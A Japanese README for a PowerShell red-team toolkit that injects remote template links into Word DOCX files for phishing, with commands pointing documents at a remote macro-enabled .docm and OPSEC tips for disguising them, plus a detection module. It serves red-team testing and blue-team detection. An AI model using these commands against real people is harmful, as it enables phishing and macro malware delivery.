
PowerShell toolkit for remote template injection attacks and defense. Injects malicious links into Office Word documents for phishing, with identification modules for blue teams.
Remote Template Injection ツールキット
RTIツールキットは、Remote Template Injection攻撃のためのオープンソースのPowerShellツールキットです。このツールキットには、PS-Templator.ps1 というPowerShellスクリプトが含まれており、攻撃側と防御側の両方の視点から使用できます。
以下のテーブルは、PS-Templator.ps1 の主要モジュール(コマンドレット)を示しています。
| Cmdlet | 説明 | 視点 |
|---|---|---|
| Invoke-Template | デフォルトのOffice Wordテンプレート内にリモートテンプレートリンクを実装します | 攻撃 |
| Invoke-Regular | テンプレートなしの通常のOffice Word文書内にリモートテンプレートリンクを実装します | 攻撃 |
| Invoke-Identify | テンプレートあり/なしのOffice Word docx文書内のリモートテンプレートリンクを識別します | 防御 |
⚠️ PS-Templator.ps1 はDOCXファイルのみをサポートしています。
ℹ️ このツールは、米国国立標準技術研究所(NIST)のNational Vulnerability Database(NVD)において、CVE-2025-65318 および CVE-2025-65319 として参照されています。
友人の @Papadope9 および Stavros Gkounis (通称 purpl3ph03n1x) に特別な感謝を捧げます。彼らはツールのベータテスト段階で貴重な支援を提供してくれました。
このツールは、数年前に @S1ckB0y1337 と行ったiCAST Red Teaming Assessment中に着想を得ました。
Supernovaは @nickvourd によって ❤️ を込めて作成されました。
Microsoft Officeのコンテキストにおけるリモートテンプレートインジェクション (RTI) は、Office文書(例:Word、Excel、PowerPoint)の悪意のあるテンプレートを介して悪用される可能性のある特定のタイプのセキュリティ脆弱性を指します。
例えば、DOCXファイルでは、コンテンツはアーカイブ内にXML形式で保存され、これらのXMLファイルの一部は外部リソースやテンプレートを参照する場合があります。攻撃者は確かにこれらのXMLファイルを操作して、脆弱性を悪用したりユーザーを騙したりする可能性のある悪意のあるリンクやコンテンツを挿入できます。
これはマクロベースの攻撃です。
PS-Templator.ps1 をモジュールとしてメモリに読み込むには、次のコマンドを実行します:
Import-Module .\PS-Templator.ps1
ℹ️ PS-Templator.ps1 は追加の依存関係をインストールする必要なく動作します。
ℹ️ PS-Templator.ps1 はPowerShellモジュールとして機能します。
ℹ️ PS-Templator.ps1 は、Office 2019 Professional plus を搭載したWindows 10マシンでテストされています。
Invoke-Template は、デフォルトのOffice Wordテンプレート内にリモートテンプレートリンクを実装するコマンドレットです。
デフォルトのWordテンプレート(以下のようなもの)があると仮定します:

例えば、'Name.docx' として保存されています:

Invoke-Template コマンドレットを使用すると、このdocx内に悪意のあるリンクを挿入できます:
⚠️ Invoke-Template を実行する前に、必ずドキュメントを保存して閉じてください(プロセスを終了してください)。
Invoke-Template -InputDoc Name.docx -Link "https://192.168.1.3:8080/Doc1.docm" -Output C:\Users\User\Desktop\LegitDocument.docx
結果:

ご覧のとおり、Invoke-Templateモジュールは元のドキュメントのバックアップを保持し、悪意のあるドキュメントへのフルパスを提供します。
デバッグの観点から、悪意のあるdocxをzipアーカイブに変換して /word/_rels/settings.xml.rels に移動すると、悪意のあるリンクを確認できます:

Invoke-Regular は、テンプレートなしの通常のOffice Word文書内にリモートテンプレートリンクを実装するコマンドレットです。
テンプレートなしのデフォルトのWord文書(以下のようなもの)があると仮定します:

例えば、'Doc1.docx' として保存されています:

Invoke-Regular コマンドレットを使用すると、このdocx内に悪意のあるリンクを挿入できます:
⚠️ Invoke-Regular を実行する前に、必ずドキュメントを保存して閉じてください(プロセスを終了してください)。
Invoke-Regular -InputDoc C:\Users\User\Desktop\Doc1.docx -Link "http://192.168.1.3:8080/Doc1.docm" -Output Nikos2.docx
結果:

ご覧のとおり、Invoke-Regularモジュールは元のドキュメントのバックアップを保持し、悪意のあるドキュメントへのフルパスを提供します。
デバッグの観点から、悪意のあるdocxをzipアーカイブに変換して /word/_rels/settings.xml.rels に移動すると、悪意のあるリンクを確認できます:

OPSECの観点から、Invoke-Regular モジュールと共に -TemplateName を使用できます。これにより、誰かが解析しようとした場合に、悪意のあるドキュメントがより正当に見えるようになります。
以下は例です:
Invoke-Regular -InputDoc C:\Users\User\Desktop\Doc1.docx -Link "http://192.168.1.3:8080/Doc1.docm" -Output Legittemplate.dotx
結果:

デバッグの観点から、悪意のあるdocxをzipアーカイブに変換して /docProps/app.xml に移動すると、偽のテンプレート名を確認できます:

Invoke-identify は、テンプレートあり/なしのOffice Word docx文書内のリモートテンプレートリンクを識別するコマンドレットです。
悪意のあるWord文書があると仮定します:
Invoke-Identify -InputDoc LegitDocument.docx -Output C:\Users\User\Desktop\output.txt
結果:

非悪意のあるWord文書があると仮定します:
Invoke-Identify -InputDoc Name.docx -Output C:\Users\User\Desktop\output2.txt
結果:
